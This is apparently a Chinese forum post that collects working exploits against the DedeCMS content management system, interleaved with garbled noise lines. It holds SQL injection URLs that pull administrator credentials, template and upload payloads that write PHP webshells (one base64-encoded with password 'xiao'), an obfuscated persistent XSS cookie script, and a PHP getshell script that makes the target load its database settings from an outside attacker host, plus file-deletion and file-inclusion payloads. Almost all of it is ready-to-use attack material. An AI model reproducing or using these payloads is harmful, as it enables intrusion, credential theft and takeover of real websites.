dedecms漏洞总结

admin

Dedecms 5.6 rss注入漏洞
/ J& n. A! Y+ B, L- C' Xhttp://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1
6 _5 m; n2 H9 t. T
4 t5 n" E5 I) b- D" ]. p' y$ y

% v3 w. h2 ?9 H$ x
: H5 Y* g& B) j+ O3 Y0 X! D3 M# I4 ^
/ r( U; B4 F8 o; H* E

% |# ^! z: G: q. e: y6 ]9 N
DedeCms v5.6 嵌入恶意代码执行漏洞
注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
5 y9 c) I; f4 K1 Za{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
4 d0 T& G; V( T9 `生成x.php 密码xiao，直接生成一句话。
  o1 }3 Z" ]5 b) x0 u4 W, s
# \* U0 n* N5 b6 `


  Y# Q; w* q) ]8 I9 }4 B1 ]' R
: M0 ?9 g( g( f& ~! q

* ~/ ~! i2 z% Y! V( U' h+ E8 _2 Q
Dede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
, Q9 X: l7 N1 _% c6 e1 j2 t$ hhttp://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7
& ^9 A. ~; ~+ f0 f
" w+ w- S2 P1 y/ I6 Z; w, E1 B
/ B1 C2 H+ W2 y$ ~& f
8 p- M- d! _5 D/ \4 V8 O: [& O% I



3 n; T5 A4 a8 s9 }
* _' L2 Q! ~9 o1 l# S1 XDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
; }; l3 K0 ^. N6 {  A: d3 c, o5 Jhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`

8 D. W+ Z: G5 s- T  s  I# e% F0 z

, v/ i/ K* a+ ~/ |+ ~  F' y
1 }# g) {) ^' K: O7 v0 z

3 z$ ^; r' o1 b% t& A) RDEDECMS 全版本 gotopage变量XSS漏洞
: J# F# P; l  E+ L6 o1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
2 `! i9 O1 W9 x" Y1 `http://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="
$ b, A1 h" ^, S$ {' ?
! C3 Q1 F% @; z4 t) U% X. ^
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
' ?! D$ F+ y" r' I* g- ^8 j2 P; Ghttp://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda


http://v57.demo.dedecms.com/dede/login.php


color=Red]DeDeCMS(织梦)变量覆盖getshell
! B# m0 S/ b  A4 a- a#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
2 c' A! a3 d) I9 y0 ODEDEcms Variable Coverage
Exploit Author: www.heixiaozi.comwww.webvul.com
( s* X- a$ C6 N" u6 k' r);
echo "\r\n";
if($argv[2]==null){
% F" u6 H& P* h$ D4 tprint_r('
% i4 {/ F" }1 U- z) o& ]' H+---------------------------------------------------------------------------+
2 d& g- c; A) a2 V4 W& tUsage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
Example:
php '.$argv[0].' www.site.com 1 old
1 B+ `& H5 m, }+---------------------------------------------------------------------------+
: C3 Z; t9 Y8 \9 c% R');
exit;
, |4 j: z1 B/ V* L; \$ W2 ]9 T}
$url=$argv[1];
6 r  a) j5 o, z  M" P$aid=$argv[2];
  x# D* }; x/ ?$ c$path=$argv[3];
; I% T& j2 X4 s" V$exp=Getshell($url,$aid,$path);
5 S5 u" R) |1 Z4 m$ uif (strpos($exp,"OK")>12){
: U; }# C$ w0 M& \$ lecho "
! X6 a9 S) R; g. wExploit Success \n";
if($aid==1)echo "
7 [* q% D: m  B1 u1 Y- p, h- ^/ sShell:".$url."/$path/data/cache/fuck.php\n" ;

: G" i# B3 A  p2 C% l
if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;

! C: @% {4 v/ r5 R
if($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";

9 `5 C" ~! S5 `3 r7 W) T3 U
}else{
6 ^: {# L% `0 d9 P% a# R8 Uecho "
: b2 s5 J$ H9 F2 @8 y7 PExploit Failed \n";
- {% o" U4 }' }; f, ~- t}
' }% n5 C0 \$ W& V) q+ L% p8 `: y2 ufunction Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
3 o. k0 P8 O$ q/ G/ j* |  h$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
2 z, K# v' Q; s9 g, X- M$ h$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
$data .= "Host: ".$host."\r\n";
3 V+ F$ Y1 `; f$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
5 D7 H& w3 O$ U: I% s# K4 b$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
2 `1 ^1 }; ]8 K' l1 U7 [$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
$data .= "Connection: keep-alive\r\n";
7 L6 r$ {+ |$ \7 f$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
$data .= $content."\r\n";
$ock=fsockopen($host,$port);
if (!$ock) {
echo "
No response from ".$host."\n";
}
fwrite($ock,$data);
2 p. J0 L3 ^" {3 a5 j' M: ~while (!feof($ock)) {
$exp=fgets($ock, 1024);
! b+ O4 S9 u8 u  X3 Z- areturn $exp;
}
2 |: [' m; R5 K  p( b}


! P, h" o" z3 a: ]. h: v?>
3 s3 _/ w% l7 ~1 q/ e/ d
) q& X' Y  b- U3 i





% s! }4 y! M1 I, h6 W

& z$ t! M" i$ P; f
DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
http://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root
: V; b9 v& d" u- E8 R: S
: [5 q. Z3 N9 c8 \  [: B
把上面validate=dcug改为当前的验证码，即可直接进入网站后台
2 h6 i; S) Y7 h  I
+ p5 }$ E2 P$ b( a8 T- p$ e4 Y
此漏洞的前提是必须得到后台路径才能实现



& ]2 v1 q, T$ `+ w5 r, C2 |- Q

3 a; a" C% f1 l5 `5 m
& c6 g# [8 D$ i* ^



* C: ?. Z. u# o  V  W, x/ J+ b" HDedecms织梦 标签远程文件写入漏洞
" F6 }5 C/ q* o! c0 x: h  o前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');


& J+ w' T+ [3 ]) S! `. ~再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
* c! Z! g, L' A- b( O8 h4 d<form action="" method="post" name="QuickSearch" id="QuickSearch">
1 ~+ d. H. f; \/ l<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
. V  L1 q" `. `<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
& h' Q! p% A% X" G<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
3 e. `7 R1 v0 {  i, p. E8 r9 K<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
<input type="submit" value="提交" name="QuickSearchBtn"><br />
</form>
. `0 M3 z: ^9 R<script>
3 S' V9 D: c6 U! a5 p, ofunction addaction()
{
6 p2 n7 z0 i9 p+ I1 n" N+ idocument.QuickSearch.action=document.QuickSearch.doaction.value;
( c% q0 Z; m4 ?: |$ b! Q$ [- w! `}
0 ]1 P4 V' j0 O7 k</script>
  F# v5 v* M, ~; C. \

7 A* R3 I0 Y  \5 P2 e# S1 `


' Z2 Y, z4 p  z6 M& ~



$ f; z' E( X% r( [$ ~# J. r& s
DedeCms v5.6 嵌入恶意代码执行漏洞
- Y1 E8 u2 r7 a) {! y注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
9 ?! d- I  O$ Y8 R4 }% b4 n/ O生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
% `, s8 \9 e* v注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
  ^, L) I$ K$ L" F" G6 I% g+ p{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
! R3 Q1 F3 F4 Q- W  [@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
0 c  ^$ E: o1 M7 R@fclose($fp);
{/dede:name}
) y9 e! l, @% ^$ D5 N2 w; U& M2 修改刚刚发表的文章，查看源文件，构造一个表单：
( L/ A' f& S+ z9 G, I4 s% A<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
/ G* V- J6 f. C0 R9 U- G4 {: s<input type="hidden" name="aid" value="2" />
( A2 Y; i( f! z9 `% y& ~5 w4 P<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />


( i1 I) ^( A6 _: `7 i- ]<div id="mainCp">
. N. ~. b, B( B<h3 class="meTitle"><strong>修改文章</strong></h3>
4 F, [0 ?1 J7 V/ _% N

' z6 B/ d. N! t( I7 c' j, b<div class="postForm">
7 v. p' [! j" o6 a, j, P1 G<label>标题：</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
$ C2 j/ |' {0 `5 l% `# Y/ I8 V

<label>标签TAG：</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
: u, K* y. G/ [) I, [

+ K# p  B0 ]" r" B, I3 k<label>作者：</label>
: z( K7 t- }, u<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>

1 c  K- u9 g1 S+ f3 M% X
<label>隶属栏目：</label>
- a5 G+ _; Z* R<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
0 T, @6 r5 R& a: U  P5 [" d</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
! _2 L7 X- r. C* C# d2 ~* {
* C1 P% P* }6 J! @
<label>我的分类：</label>
1 X' \8 a! r/ o8 E2 m6 `<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
; ~" W3 z. F% G4 u) X4 Z</select>

2 C- `- E- _8 R$ @! g
<label>信息摘要：</label>
+ R0 Y* a+ d! ?) H  f<textarea name="description" id="description">1111111</textarea>
& }% w3 R  e2 p0 g5 j(内容的简要说明)

; b: ]8 b8 _" l$ I
<label>缩略图：</label>
<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

* j- A4 g/ [" `: W7 Y* ?5 n
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
  ?9 s- v8 ~; I. }<input type='text' name='dede_addonfields'
+ \! X5 `& l4 w4 M) Ivalue="templet,htmltext;">（这里构造）
</div>
1 {1 r) Y8 B8 X

<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
0 n6 X/ C6 c9 P5 I0 i, ^0 n4 l

$ R$ b( r6 f& I5 R/ D' w<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
6 d. F4 J5 ^' K. ^, ], K

* v4 N% L4 ^: I$ e$ }4 `<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


# A, T' R2 |' ]2 M0 ?/ f<button class="button2" type="submit">提交</button>
) X+ V0 N0 Z/ Y: @8 J2 Q8 O; h<button class="button2 ml10" type="reset">重置</button>
. |5 i: [! I; M</div>
; k6 h9 S9 \& F0 ]

</div>

; y4 T2 a1 u) s) q, i: X
2 V* F3 P+ m6 ~2 V1 {2 ~: q2 ^7 B</form>

& ^2 s- D; }  b" G, _1 n3 Q2 ?) H
( H# B6 g) h) |) Z; l6 h# ?1 Q& t提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
# w7 Q3 h. E2 J% U. a7 I' i* [假设刚刚修改的文章的aid为2，则我们只需要访问：
4 _: h; i# D2 V3 O5 Zhttp://127.0.0.1/dede/plus/view.php?aid=2
2 V% X( g' a$ k2 }即可以在plus目录下生成webshell：1.php
; V  B1 s( \% V: s4 C0 v# q
* o" j; V9 n" a% i0 U

$ ?- {1 \4 I- [$ Y2 k* O* x$ z
# }, l9 ?/ f! _- L
" A1 i  M0 n5 Q# D$ h, ~

9 Z/ i" @6 S# ^+ i! v5 V- e4 _



" m0 R# ?  v1 O+ j$ c
1 l7 R1 Q! j+ B2 G1 I0 k& VDEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
& l* l6 ~" e1 iGif89a{dede:field name='toby57' runphp='yes'}
" H$ P$ A0 }" {! D8 O2 |phpinfo();
{/dede:field}
: m, s' u8 l% f8 q5 A保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
, S2 X- U3 \7 z2 c7 T* p, q; v<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
4 ~; n3 d- V) H- m& }  E; s5 R3 P<input name="addonfile" type="file" id="addonfile"/>
/ @( K! h6 N1 D( Q& O5 p/ @<button class="button2" type="submit" >更改</button>
</form>


构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
$ T( D1 Y9 d. y9 ~6 M9 w发表文章，然后构造修改表单如下：

9 N/ Z; O& r) [- I# n  q( [
1 P6 t8 S& p4 Z! \% ~# k" i; W<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
4 Z# d7 z! S% |1 U1 K1 {<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
( q% ?. v( G$ [+ [& U<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
; U7 F3 }" n" ?6 s<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
2 ?. Q, u1 p+ P4 z  ~! K2 D<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
  [: C5 A( l5 ]# {<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
1 X/ |! a8 ~% V' H/ v% u<input type='hidden' name='dede_addonfields' value="templet">
1 r) Q, B9 n, D0 f2 K2 c<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
2 G, I" X' S8 w<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
' W2 S+ D- E& m: C  w9 N<button class="button2" type="submit">提交</button>
* x% S+ H: I, U: h( @</form>

3 v6 B# k2 i& j- @1 e3 X
8 r+ N: [- t# M9 z: `% g; Z
) x/ \" K. d$ T1 u( `' d




- K' [! k& B- v. t% G



织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif
& \4 [7 |) B/ |. M. l! Y) [9 f* H
& N* ], t$ w: C" C; Y# [  y


4 x0 g6 Q4 {1 g: T0 y. H
1 m  k* ]) M0 @& g



# M. f& h& o1 a: n4 J
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../
6 D! z; |2 o: ]) k- `5 {/ [" n

/ a+ F; \! o0 n; i0 J





3 t2 X0 K- M  N5 R. a/ [

DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
/ a* Y1 A9 a3 v2 d5 j4 s, C' {5 Qplus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5
! l' B4 ]( U2 X# ]+ S: {3 K- o

8 q5 e6 s( A% v7 I2 m


* Y5 J1 {+ N' A% Y# @/ \
, P; i& Y8 e; H0 c9 v4 ^
1 p2 s1 Z3 q& w, ~& ~


织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
' {) z$ y8 I7 S- W, s
! L' [+ C3 Y/ T6 k# p  _8 s. T9 D

/ O6 @9 H; T" h' q

5 `0 v! g5 l# r1 l4 F
' I8 @0 @  S$ `. T8 Z) D
3 u' U$ q/ F3 ~2 D+ [9 `
! \& u# U/ T$ D9 ]- \# ^

' q/ I3 \# w0 F. n织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
" d4 @2 @8 b1 H5 k" o' D/ F<html>
9 t  T, d# P" C+ J" Z<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
0 I% D* U% `# ?$ Y</head>
$ {) D& l! O+ h6 B, H1 V<body style="FONT-SIZE: 9pt">
) p$ n: P  T4 b! ^+ K---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
/ @4 K: w/ f( x$ r/ C<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
<input type='hidden' name='activepath' value='/data/cache/' />
$ [0 a. Z; n5 l4 f( \<input type='hidden' name='cfg_basedir' value='../../' />
<input type='hidden' name='cfg_imgtype' value='php' />
# N/ c( ^, z& g: @; G- R<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
<input type='hidden' name='cfg_mediatype' value='php' />
4 m5 j$ i$ O, E<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
Select U Shell <input type='file' name='uploadfile' size='25' />
, I/ ~& b* t1 b- ?9 y7 l<input type='submit' name='sb1' value='确定' />
5 @5 ]+ s4 I5 C- u7 L</form>
<br />It's just a exp for the bug of Dedecms V55...<br />
0 q% C* v$ c1 c, |Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
( |  E) A* W% y1 C6 D  I</body>
</html>
& k3 Q; D4 P0 f! E2 B2 K
2 X# q0 L8 |  A0 ?+ o& L: z
/ J7 O! i5 F3 ?3 N. q3 T1 V


# Y% _( o: E; R
) [5 q, ~( d. k" x
$ ^% ?' p. a* i; ]5 u: d6 V
4 \3 R& X: H+ O4 o, j8 n8 O
9 k# S$ b  M' ~. Z  H+ o+ j
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
1. 访问网址：
2 p" q8 R$ _7 g4 g5 u1 a$ Shttp://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
, Z5 P: J& w* d4 F可看见错误信息


2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
( D, g; r/ z7 M, ?int(3) Error: Illegal double '1024e1024' value found during parsing
, {8 B: l! w* U+ pError sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>
5 g8 A* U: {( i" `

$ n( X6 s" C2 H1 W1 H3 v9 N% ?1 p6 c3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是

+ B/ Y( O" b' |4 A5 f) O, p; I) \
8 [" {  @$ {5 M) v0 P<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>

$ @; K% e. x0 y$ D" q- T& I8 j7 o
按确定后的看到第2步骤的信息表示文件木马上传成功.
* Q1 v0 @2 y2 n2 w9 {# g


  P, }$ z  a" S% ^9 W! C( R2 }
1 F% M# R  \  I) Q





# {8 q0 P; h# p& M. r
' [% Q+ b% }: B+ |. V2 c& Y! s
织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*